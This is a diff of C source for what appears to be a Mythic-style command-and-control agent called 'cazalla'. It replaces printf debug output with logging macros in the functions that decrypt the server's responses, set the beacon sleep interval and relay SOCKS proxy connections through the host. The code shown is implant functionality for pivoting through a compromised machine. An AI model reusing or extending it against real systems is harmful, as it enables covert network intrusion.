for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
|
||||||
printf("%02x ", datosDecodificados[i]);
|
_dbg(" %02x ", datosDecodificados[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
|
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
|
||||||
if (tamanoDecodificado >= 36) {
|
if (tamanoDecodificado >= 36) {
|
||||||
char uuidCheck[37] = {0};
|
char uuidCheck[37] = {0};
|
||||||
memcpy(uuidCheck, datosDecodificados, 36);
|
memcpy(uuidCheck, datosDecodificados, 36);
|
||||||
printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck);
|
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
|
||||||
printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente);
|
_dbg("Expected UUID: %s", cazallaConfig->idAgente);
|
||||||
|
|
||||||
// If response starts with UUID, we need to extract it
|
// If response starts with UUID, we need to extract it
|
||||||
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
|
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
|
||||||
printf("[PAQUETE] Response format: UUID + encrypted_data detected\n");
|
_dbg("Response format: UUID + encrypted_data detected");
|
||||||
printf("[PAQUETE] Extracting encrypted data (after UUID)...\n");
|
_dbg("Extracting encrypted data (after UUID)...");
|
||||||
|
|
||||||
// Extract encrypted data (without UUID)
|
// Extract encrypted data (without UUID)
|
||||||
SIZE_T encrypted_size = tamanoDecodificado - 36;
|
SIZE_T encrypted_size = tamanoDecodificado - 36;
|
||||||
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
|
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
|
||||||
if (encrypted_data) {
|
if (encrypted_data) {
|
||||||
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
|
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
|
||||||
printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size);
|
_dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
|
||||||
|
|
||||||
// Create parser with just the encrypted data
|
// Create parser with just the encrypted data
|
||||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||||
@@ -377,8 +343,8 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
tempParser->tamano = encrypted_size;
|
tempParser->tamano = encrypted_size;
|
||||||
|
|
||||||
if (CryptoMythicDecryptParser(tempParser)) {
|
if (CryptoMythicDecryptParser(tempParser)) {
|
||||||
printf("[PAQUETE] === DECRYPTION SUCCESS ===\n");
|
_inf("=== DECRYPTION SUCCESS ===");
|
||||||
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
|
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
|
||||||
|
|
||||||
// Create final buffer with UUID + decrypted data
|
// Create final buffer with UUID + decrypted data
|
||||||
SIZE_T final_size = 36 + tempParser->tamano;
|
SIZE_T final_size = 36 + tempParser->tamano;
|
||||||
@@ -389,10 +355,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
LocalFree(datosDecodificados);
|
LocalFree(datosDecodificados);
|
||||||
datosDecodificados = final_buffer;
|
datosDecodificados = final_buffer;
|
||||||
tamanoDecodificado = final_size;
|
tamanoDecodificado = final_size;
|
||||||
printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size);
|
_dbg("Final response (UUID + decrypted): %zu bytes", final_size);
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
_err("Falló el descifrado");
|
||||||
}
|
}
|
||||||
LocalFree(tempParser);
|
LocalFree(tempParser);
|
||||||
} else {
|
} else {
|
||||||
@@ -401,25 +367,25 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// Response doesn't start with UUID, try decrypting directly
|
// Response doesn't start with UUID, try decrypting directly
|
||||||
printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n");
|
_dbg("Response doesn't start with UUID, trying direct decryption...");
|
||||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||||
if (tempParser) {
|
if (tempParser) {
|
||||||
tempParser->buffer = datosDecodificados;
|
tempParser->buffer = datosDecodificados;
|
||||||
tempParser->tamano = tamanoDecodificado;
|
tempParser->tamano = tamanoDecodificado;
|
||||||
|
|
||||||
if (CryptoMythicDecryptParser(tempParser)) {
|
if (CryptoMythicDecryptParser(tempParser)) {
|
||||||
printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n");
|
_inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
|
||||||
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano);
|
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
|
||||||
datosDecodificados = tempParser->buffer;
|
datosDecodificados = tempParser->buffer;
|
||||||
tamanoDecodificado = tempParser->tamano;
|
tamanoDecodificado = tempParser->tamano;
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
_err("Falló el descifrado");
|
||||||
}
|
}
|
||||||
LocalFree(tempParser);
|
LocalFree(tempParser);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado);
|
_wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
|
||||||
// Try decrypting anyway
|
// Try decrypting anyway
|
||||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||||
if (tempParser) {
|
if (tempParser) {
|
||||||
@@ -427,16 +393,15 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
tempParser->tamano = tamanoDecodificado;
|
tempParser->tamano = tamanoDecodificado;
|
||||||
|
|
||||||
if (CryptoMythicDecryptParser(tempParser)) {
|
if (CryptoMythicDecryptParser(tempParser)) {
|
||||||
printf("[PAQUETE] Decryption succeeded for short response\n");
|
_dbg("Decryption succeeded for short response");
|
||||||
datosDecodificados = tempParser->buffer;
|
datosDecodificados = tempParser->buffer;
|
||||||
tamanoDecodificado = tempParser->tamano;
|
tamanoDecodificado = tempParser->tamano;
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] ERROR: Falló el descifrado\n");
|
_err("Falló el descifrado");
|
||||||
}
|
}
|
||||||
LocalFree(tempParser);
|
LocalFree(tempParser);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Reemplazar el buffer del analizador
|
// Reemplazar el buffer del analizador
|
||||||
@@ -452,22 +417,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
SIZE_T cursor = len - 5;
|
SIZE_T cursor = len - 5;
|
||||||
BOOL found = FALSE;
|
BOOL found = FALSE;
|
||||||
|
|
||||||
printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len);
|
_dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Buscar marcador desde el final
|
// Buscar marcador desde el final
|
||||||
while (cursor > 0 && cursor < len - 4) {
|
while (cursor > 0 && cursor < len - 4) {
|
||||||
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||||
printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor);
|
_dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||||
printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len);
|
_dbg("Bloque SOCKS: ext_len=%u", ext_len);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (cursor + 5 + ext_len > len) {
|
if (cursor + 5 + ext_len > len) {
|
||||||
printf("[PAQUETE] ERROR: bloque SOCKS truncado\n");
|
_err("bloque SOCKS truncado");
|
||||||
fflush(stdout);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -490,17 +451,14 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
if (b64str_socks) {
|
if (b64str_socks) {
|
||||||
memcpy(b64str_socks, buf + ecur, b64len);
|
memcpy(b64str_socks, buf + ecur, b64len);
|
||||||
b64str_socks[b64len] = '\0';
|
b64str_socks[b64len] = '\0';
|
||||||
printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks);
|
_dbg("Decodificando base64 SOCKS: %s", b64str_socks);
|
||||||
fflush(stdout);
|
|
||||||
base64_decode(b64str_socks, &raw, &raw_len);
|
base64_decode(b64str_socks, &raw, &raw_len);
|
||||||
printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len);
|
_dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
|
||||||
fflush(stdout);
|
|
||||||
LocalFree(b64str_socks);
|
LocalFree(b64str_socks);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len);
|
_dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
|
||||||
fflush(stdout);
|
|
||||||
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||||
|
|
||||||
if (raw) LocalFree(raw);
|
if (raw) LocalFree(raw);
|
||||||
@@ -509,8 +467,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
|
|
||||||
// Remover bloque SOCKS del analizador
|
// Remover bloque SOCKS del analizador
|
||||||
respuesta->tamano = cursor;
|
respuesta->tamano = cursor;
|
||||||
printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor);
|
_dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
|
||||||
fflush(stdout);
|
|
||||||
found = TRUE;
|
found = TRUE;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -518,13 +475,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!found) {
|
if (!found) {
|
||||||
printf("[PAQUETE] No se encontró bloque SOCKS\n");
|
_dbg("No se encontró bloque SOCKS");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] ERROR: fallo al decodificar base64\n");
|
_err("fallo al decodificar base64");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
LocalFree(base64str);
|
LocalFree(base64str);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,11 +2,6 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
BOOL sleep(PAnalizador argumentos) {
|
BOOL sleep(PAnalizador argumentos) {
|
||||||
|
|
||||||
@@ -42,13 +37,13 @@ BOOL sleep(PAnalizador argumentos) {
|
|||||||
|
|
||||||
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
|
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
|
||||||
if (socks_proxy_active) {
|
if (socks_proxy_active) {
|
||||||
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico");
|
_dbg("SOCKS activo → ajustando sleep corto dinámico");
|
||||||
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
|
||||||
}
|
}
|
||||||
|
|
||||||
cazallaConfig->tiempoSleep = tiempoSleep;
|
cazallaConfig->tiempoSleep = tiempoSleep;
|
||||||
|
|
||||||
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
_dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
|
||||||
|
|
||||||
/* respuesta al servidor */
|
/* respuesta al servidor */
|
||||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|||||||
@@ -26,11 +26,6 @@
|
|||||||
#define CLOSESOCK(s) close(s)
|
#define CLOSESOCK(s) close(s)
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
|
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
|
||||||
|
|
||||||
@@ -71,7 +66,7 @@ static void lock_init_once(void) {
|
|||||||
/* === Inicialización / limpieza === */
|
/* === Inicialización / limpieza === */
|
||||||
|
|
||||||
void socks_manager_init(void) {
|
void socks_manager_init(void) {
|
||||||
DBG_PRINTF("socks_manager_init()");
|
_dbg("socks_manager_init()");
|
||||||
lock_init_once();
|
lock_init_once();
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSADATA wsa;
|
WSADATA wsa;
|
||||||
@@ -80,7 +75,7 @@ void socks_manager_init(void) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void socks_manager_cleanup(void) {
|
void socks_manager_cleanup(void) {
|
||||||
DBG_PRINTF("socks_manager_cleanup()");
|
_dbg("socks_manager_cleanup()");
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
EnterCriticalSection(&conn_lock);
|
EnterCriticalSection(&conn_lock);
|
||||||
#else
|
#else
|
||||||
@@ -152,7 +147,7 @@ static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
|
|||||||
#else
|
#else
|
||||||
pthread_mutex_unlock(&conn_lock);
|
pthread_mutex_unlock(&conn_lock);
|
||||||
#endif
|
#endif
|
||||||
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s);
|
_dbg("create_entry sid=%u sock=%d", server_id, (int)s);
|
||||||
return e;
|
return e;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -168,7 +163,7 @@ static void remove_entry(uint32_t server_id) {
|
|||||||
if (prev) prev->next = cur->next;
|
if (prev) prev->next = cur->next;
|
||||||
else conn_list = cur->next;
|
else conn_list = cur->next;
|
||||||
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
DBG_PRINTF("remove_entry sid=%u", server_id);
|
_dbg("remove_entry sid=%u", server_id);
|
||||||
free(cur);
|
free(cur);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -185,8 +180,7 @@ static void remove_entry(uint32_t server_id) {
|
|||||||
/* === Cola de salida === */
|
/* === Cola de salida === */
|
||||||
|
|
||||||
static void enqueue_outgoing(socks_msg_t *m) {
|
static void enqueue_outgoing(socks_msg_t *m) {
|
||||||
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len);
|
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
|
||||||
fflush(stdout);
|
|
||||||
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
|
||||||
memset(n,0,sizeof(*n));
|
memset(n,0,sizeof(*n));
|
||||||
n->msg.server_id = m->server_id;
|
n->msg.server_id = m->server_id;
|
||||||
@@ -209,18 +203,14 @@ static void enqueue_outgoing(socks_msg_t *m) {
|
|||||||
#else
|
#else
|
||||||
pthread_mutex_unlock(&out_lock);
|
pthread_mutex_unlock(&out_lock);
|
||||||
#endif
|
#endif
|
||||||
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id);
|
_dbg("Mensaje encolado OK (sid=%u)", m->server_id);
|
||||||
fflush(stdout);
|
|
||||||
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* === Volcado de cola de salida === */
|
/* === Volcado de cola de salida === */
|
||||||
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
||||||
printf("[SOCKS_MGR] flush_outgoing: iniciando\n");
|
_dbg("flush_outgoing: iniciando");
|
||||||
fflush(stdout);
|
|
||||||
if (!cb) {
|
if (!cb) {
|
||||||
printf("[SOCKS_MGR] ERROR: callback es NULL\n");
|
_err("ERROR: callback es NULL");
|
||||||
fflush(stdout);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
@@ -239,17 +229,15 @@ void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
|
|||||||
int count = 0;
|
int count = 0;
|
||||||
while (n) {
|
while (n) {
|
||||||
count++;
|
count++;
|
||||||
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n",
|
_dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)",
|
||||||
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
|
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
|
||||||
fflush(stdout);
|
|
||||||
outgoing_node_t *next = n->next;
|
outgoing_node_t *next = n->next;
|
||||||
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
|
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
|
||||||
if (n->msg.data) free(n->msg.data);
|
if (n->msg.data) free(n->msg.data);
|
||||||
free(n);
|
free(n);
|
||||||
n = next;
|
n = next;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count);
|
_dbg("flush_outgoing: completado (%d mensajes procesados)", count);
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* === Base64 === */
|
/* === Base64 === */
|
||||||
@@ -298,39 +286,30 @@ DWORD WINAPI remote_reader_thread(LPVOID arg) {
|
|||||||
uint32_t sid = ra->server_id;
|
uint32_t sid = ra->server_id;
|
||||||
sock_t s = ra->s;
|
sock_t s = ra->s;
|
||||||
free(ra);
|
free(ra);
|
||||||
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s);
|
_dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s);
|
||||||
fflush(stdout);
|
|
||||||
unsigned char buf[4096];
|
unsigned char buf[4096];
|
||||||
int loop_count = 0;
|
int loop_count = 0;
|
||||||
while (1) {
|
while (1) {
|
||||||
loop_count++;
|
loop_count++;
|
||||||
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count);
|
_dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count);
|
||||||
fflush(stdout);
|
|
||||||
int r = recv(s, (char*)buf, sizeof(buf), 0);
|
int r = recv(s, (char*)buf, sizeof(buf), 0);
|
||||||
printf("[READER] sid=%u recv() retornó r=%d", sid, r);
|
_dbg("sid=%u recv() retornó r=%d", sid, r);
|
||||||
if (r < 0) {
|
if (r < 0) {
|
||||||
int err = WSAGetLastError();
|
int err = WSAGetLastError();
|
||||||
printf(" WSAError=%d", err);
|
_dbg(" WSAError=%d", err);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
fflush(stdout);
|
|
||||||
if (r <= 0) break;
|
if (r <= 0) break;
|
||||||
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r);
|
_dbg("sid=%u recibió %d bytes, encolando...", sid, r);
|
||||||
fflush(stdout);
|
|
||||||
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
|
|
||||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||||
enqueue_outgoing(&m);
|
enqueue_outgoing(&m);
|
||||||
printf("[READER] sid=%u datos encolados OK\n", sid);
|
_dbg("sid=%u datos encolados OK", sid);
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid);
|
_dbg("sid=%u salió del loop, cerrando socket", sid);
|
||||||
fflush(stdout);
|
_dbg("reader sid=%u closing", sid);
|
||||||
DBG_PRINTF("reader sid=%u closing", sid);
|
|
||||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||||
enqueue_outgoing(&m2);
|
enqueue_outgoing(&m2);
|
||||||
CLOSESOCK(s);
|
CLOSESOCK(s);
|
||||||
printf("[READER] Thread terminado para sid=%u\n", sid);
|
_dbg("Thread terminado para sid=%u", sid);
|
||||||
fflush(stdout);
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
@@ -343,11 +322,11 @@ static void* remote_reader_thread(void* arg) {
|
|||||||
while (1) {
|
while (1) {
|
||||||
ssize_t r = recv(s, buf, sizeof(buf), 0);
|
ssize_t r = recv(s, buf, sizeof(buf), 0);
|
||||||
if (r <= 0) break;
|
if (r <= 0) break;
|
||||||
DBG_PRINTF("reader sid=%u recv=%zd", sid, r);
|
_dbg("reader sid=%u recv=%zd", sid, r);
|
||||||
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
socks_msg_t m = {sid, 0, buf, (size_t)r};
|
||||||
enqueue_outgoing(&m);
|
enqueue_outgoing(&m);
|
||||||
}
|
}
|
||||||
DBG_PRINTF("reader sid=%u closing", sid);
|
_dbg("reader sid=%u closing", sid);
|
||||||
socks_msg_t m2 = {sid, 1, NULL, 0};
|
socks_msg_t m2 = {sid, 1, NULL, 0};
|
||||||
enqueue_outgoing(&m2);
|
enqueue_outgoing(&m2);
|
||||||
CLOSESOCK(s);
|
CLOSESOCK(s);
|
||||||
@@ -362,24 +341,20 @@ typedef struct {
|
|||||||
} socks_bound_addr_t;
|
} socks_bound_addr_t;
|
||||||
|
|
||||||
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
|
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
|
||||||
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id);
|
_dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id);
|
||||||
fflush(stdout);
|
|
||||||
if (server_id == 0) {
|
if (server_id == 0) {
|
||||||
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id);
|
_err("ERROR: invalid server_id=%u", server_id);
|
||||||
fflush(stdout);
|
_dbg("invalid server_id=%u (ignored)", server_id);
|
||||||
DBG_PRINTF("invalid server_id=%u (ignored)", server_id);
|
|
||||||
return -4;
|
return -4;
|
||||||
}
|
}
|
||||||
DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
|
_dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id);
|
||||||
struct sockaddr_in sa;
|
struct sockaddr_in sa;
|
||||||
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
|
sock_t s = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
if (s == INVALID_SOCKET) {
|
if (s == INVALID_SOCKET) {
|
||||||
printf("[SOCKS_MGR] ERROR: socket() failed\n");
|
_err("ERROR: socket() failed");
|
||||||
fflush(stdout);
|
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] Socket creado OK\n");
|
_dbg("Socket creado OK");
|
||||||
fflush(stdout);
|
|
||||||
memset(&sa,0,sizeof(sa));
|
memset(&sa,0,sizeof(sa));
|
||||||
sa.sin_family = AF_INET;
|
sa.sin_family = AF_INET;
|
||||||
sa.sin_port = htons(port);
|
sa.sin_port = htons(port);
|
||||||
@@ -388,55 +363,46 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se
|
|||||||
unsigned long addr = inet_addr(dest);
|
unsigned long addr = inet_addr(dest);
|
||||||
if (addr == INADDR_NONE) {
|
if (addr == INADDR_NONE) {
|
||||||
/* No es una IP válida, intentar resolver como hostname */
|
/* No es una IP válida, intentar resolver como hostname */
|
||||||
printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest);
|
_dbg("Resolviendo hostname: %s", dest);
|
||||||
fflush(stdout);
|
|
||||||
struct hostent *h = gethostbyname(dest);
|
struct hostent *h = gethostbyname(dest);
|
||||||
if (!h) {
|
if (!h) {
|
||||||
printf("[SOCKS_MGR] ERROR: gethostbyname failed\n");
|
_err("ERROR: gethostbyname failed");
|
||||||
fflush(stdout);
|
|
||||||
CLOSESOCK(s);
|
CLOSESOCK(s);
|
||||||
return -2;
|
return -2;
|
||||||
}
|
}
|
||||||
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
sa.sin_addr = *(struct in_addr*)h->h_addr;
|
||||||
printf("[SOCKS_MGR] Hostname resuelto OK\n");
|
_dbg("Hostname resuelto OK");
|
||||||
fflush(stdout);
|
|
||||||
} else {
|
} else {
|
||||||
/* Es una IP válida */
|
/* Es una IP válida */
|
||||||
sa.sin_addr.s_addr = addr;
|
sa.sin_addr.s_addr = addr;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port);
|
_dbg("Conectando a %s:%u...", dest, port);
|
||||||
fflush(stdout);
|
|
||||||
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno);
|
_err("ERROR: connect() failed errno=%d", errno);
|
||||||
fflush(stdout);
|
_dbg("connect() failed errno=%d", errno);
|
||||||
DBG_PRINTF("connect() failed errno=%d", errno);
|
|
||||||
CLOSESOCK(s);
|
CLOSESOCK(s);
|
||||||
return -3;
|
return -3;
|
||||||
}
|
}
|
||||||
printf("[SOCKS_MGR] Conexión exitosa!\n");
|
_dbg("Conexión exitosa!");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
|
/* Guardar la dirección bound (la IP/puerto del destino conectado) */
|
||||||
if (bound) {
|
if (bound) {
|
||||||
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
|
bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order
|
||||||
bound->port = sa.sin_port; // ya en network byte order
|
bound->port = sa.sin_port; // ya en network byte order
|
||||||
printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port));
|
_dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port));
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* timeout para evitar bloqueo indefinido */
|
/* timeout para evitar bloqueo indefinido */
|
||||||
int timeout_ms = 15000; // 15s
|
int timeout_ms = 15000; // 15s
|
||||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
|
||||||
DBG_PRINTF("socket timeout set %d ms", timeout_ms);
|
_dbg("socket timeout set %d ms", timeout_ms);
|
||||||
|
|
||||||
printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id);
|
_dbg("Creando entry para sid=%u", server_id);
|
||||||
fflush(stdout);
|
|
||||||
create_entry(server_id, s);
|
create_entry(server_id, s);
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
reader_args_t *ra = malloc(sizeof(reader_args_t));
|
||||||
ra->server_id = server_id; ra->s = s;
|
ra->server_id = server_id; ra->s = s;
|
||||||
